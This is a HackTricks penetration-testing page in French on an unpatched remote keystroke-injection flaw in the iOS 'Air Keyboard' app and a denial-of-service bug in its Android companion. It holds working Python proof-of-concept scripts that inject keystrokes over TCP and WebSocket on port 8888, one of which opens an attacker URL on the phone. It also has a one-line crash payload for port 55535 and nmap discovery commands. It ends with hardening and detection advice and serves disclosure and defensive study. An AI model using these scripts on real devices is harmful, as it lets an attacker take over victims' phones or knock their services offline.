hacktricks/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md

173 lines
8.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Injection d'Entrée à Distance Air Keyboard (Écouteur TCP / WebSocket Non Authentifié)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
La version iOS de l'application commerciale **“Air Keyboard”** (ID App Store 6463187929) expose un service de réseau local qui **accepte des trames de frappes sans aucune authentification ni vérification d'origine**. Selon la version installée, le service est soit :
* **≤ 1.0.4** écouteur TCP brut sur **le port 8888** qui attend un en-tête de longueur de 2 octets suivi d'un *device-id* et de la charge utile ASCII.
* **≥ 1.0.5 (juin 2025)** écouteur **WebSocket** sur le *même* port (**8888**) qui analyse des clés **JSON** telles que `{"type":1,"text":"…"}`.
Tout appareil sur le même Wi-Fi / sous-réseau peut donc **injecter des entrées clavier arbitraires dans le téléphone de la victime, réalisant un détournement complet de l'interaction à distance**. Une version Android compagnon écoute sur **le port 55535**. Elle effectue une poignée de main AES-ECB faible mais des données corrompues provoquent toujours une **exception non gérée à l'intérieur d'OpenSSL**, faisant planter le service en arrière-plan (**DoS**).
> La vulnérabilité est **toujours non corrigée au moment de l'écriture (juillet 2025)** et l'application reste disponible sur l'App Store.
---
## 1. Découverte de Service
Scannez le réseau local et recherchez les deux ports fixes utilisés par les applications :
```bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
Sur les appareils Android, vous pouvez identifier le package responsable localement :
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
Sur **iOS jailbreaké**, vous pouvez faire quelque chose de similaire avec `lsof -i -nP | grep LISTEN | grep 8888`.
---
## 2. Détails du protocole (iOS)
### 2.1 Héritage (≤ 1.0.4) cadres binaires personnalisés
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
La *longueur* déclarée inclut le byte `device_id` **mais pas** l'en-tête de deux bytes lui-même.
### 2.2 Actuel (≥ 1.0.5) JSON sur WebSocket
La version 1.0.5 a migré silencieusement vers les WebSockets tout en gardant le numéro de port inchangé. Un coup de touche minimal ressemble à :
```json
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
```
Aucune poignée de main, jeton ou signature n'est requise le premier objet JSON déclenche déjà l'événement UI.
---
## 3. Exploitation PoC
### 3.1 Ciblage ≤ 1.0.4 (TCP brut)
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
```
### 3.2 Ciblage ≥ 1.0.5 (WebSocket)
```python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
```
*Tout ASCII imprimable — y compris les sauts de ligne, les tabulations et la plupart des touches spéciales — peut être envoyé, donnant à l'attaquant le même pouvoir que l'entrée utilisateur physique : lancer des applications, envoyer des messages instantanés, ouvrir des URL malveillantes, basculer des paramètres, etc.*
---
## 4. Android Companion Denial-of-Service
Le port Android (55535) attend un **mot de passe de 4 caractères chiffré avec une clé AES-128-ECB codée en dur** suivi d'un nonce aléatoire. Les erreurs de parsing remontent à `AES_decrypt()` et ne sont pas interceptées, terminant le thread d'écoute. Un seul paquet malformé suffit donc à maintenir les utilisateurs légitimes déconnectés jusqu'à ce que le processus soit relancé.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
---
## 5. Applications Connexes Un Anti-Pattern Récurrent
Air Keyboard n'est **pas un cas isolé**. D'autres utilitaires mobiles de “clavier/souris à distance” ont été livrés avec la même faille :
* **Telepad ≤ 1.0.7** CVE-2022-45477/78 permettant l'exécution de commandes non authentifiées et l'enregistrement de touches en texte clair.
* **PC Keyboard ≤ 30** CVE-2022-45479/80 RCE non authentifié & espionnage de trafic.
* **Lazy Mouse ≤ 2.0.1** CVE-2022-45481/82/83 mot de passe par défaut absent, brute-force de PIN faible et fuite en texte clair.
Ces cas mettent en évidence une négligence systémique des **surfaces d'attaque exposées sur les applications mobiles**.
---
## 6. Causes Fondamentales
1. **Pas de vérifications d'origine / d'intégrité** sur les trames entrantes (iOS).
2. **Mauvaise utilisation cryptographique** (clé statique, ECB, validation de longueur manquante) et **absence de gestion des exceptions** (Android).
3. **Droit Local-Network accordé par l'utilisateur ≠ sécurité** iOS demande un consentement d'exécution pour le trafic LAN, mais cela ne remplace pas une authentification appropriée.
---
## 7. Renforcement & Mesures Défensives
Recommandations pour les développeurs :
* Lier l'écouteur à **`127.0.0.1`** et tunneliser via **mTLS** ou **Noise XX** si un contrôle à distance est nécessaire.
* Dériver des **secrets par appareil lors de l'intégration** (par exemple, code QR ou PIN de couplage) et imposer une authentification *mutuelle* avant de traiter les entrées.
* Adopter le **Apple Network Framework** avec *NWListener* + TLS au lieu de sockets bruts.
* Mettre en œuvre des **vérifications de longueur** et une gestion structurée des exceptions lors du déchiffrement ou du décodage des trames.
Gains rapides pour les équipes Blue-/Red-Team :
* **Chasse au réseau :** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ou filtre Wireshark `tcp.port == 8888`.
* **Inspection en temps réel :** Script Frida accrochant `socket()`/`NWConnection` pour lister les écouteurs inattendus.
* **Rapport de Confidentialité des Applications iOS (Réglages ▸ Confidentialité & Sécurité ▸ Rapport de Confidentialité des Applications)** met en évidence les applications qui contactent des adresses LAN utile pour repérer des services malveillants.
* **EDR mobiles** peuvent ajouter des règles Yara-L simples pour les clés JSON `"selectionStart"`, `"selectionEnd"` à l'intérieur des charges TCP en texte clair sur le port 8888.
---
## Détection Cheat-Sheet (Pentesters)
```bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
```
---
## Références
- [Exploit-DB 52333 Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (17 Jul 2025) Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
{{#include ../../banners/hacktricks-training.md}}